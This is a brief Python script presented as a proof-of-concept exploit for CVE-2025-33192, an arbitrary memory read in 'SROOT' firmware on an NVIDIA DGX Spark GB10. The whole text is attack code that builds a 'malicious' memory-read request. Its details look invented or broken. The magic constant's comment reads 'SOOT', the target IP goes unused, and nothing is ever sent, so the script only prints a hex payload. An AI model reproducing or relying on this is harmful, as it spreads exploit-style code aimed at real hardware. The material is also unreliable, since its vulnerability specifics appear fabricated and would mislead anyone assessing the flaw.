CVE-2025-33192

# CVE-2025-33192 PoC - NVIDIA DGX Spark GB10 SROOT Firmware Memory Read # This PoC demonstrates the arbitrary memory read vulnerability in SROOT firmware import struct import sys def create_malicious_sroot_request(): """ Craft a malicious SROOT firmware request that triggers arbitrary memory read """ # SROOT command header header = struct.pack('<I', 0x534F4F54) # 'SOOT' magic header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x100) # Length # Malicious payload - triggers arbitrary memory read # Command type: 0x05 = MEMORY_READ cmd_type = struct.pack('<I', 0x05) # Target memory address (arbitrary) target_addr = struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # Read length read_len = struct.pack('<I', 0x100) payload = cmd_type + target_addr + read_len return header + payload def exploit_sroot_vulnerability(target_ip='192.168.1.100'): """ Exploit the SROOT firmware vulnerability """ print(f"[*] Targeting: {target_ip}") print("[*] Crafting malicious SROOT request...") malicious_req = create_malicious_sroot_request() print(f"[*] Payload size: {len(malicious_req)} bytes") print(f"[*] Payload hex: {malicious_req.hex()}") # Note: Actual exploitation requires direct access to DGX Spark device # This PoC demonstrates the concept only print("[-] This is a proof-of-concept for educational purposes") print("[-] Actual exploitation requires local access to NVIDIA DGX Spark GB10") return malicious_req if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" exploit_sroot_vulnerability(target)

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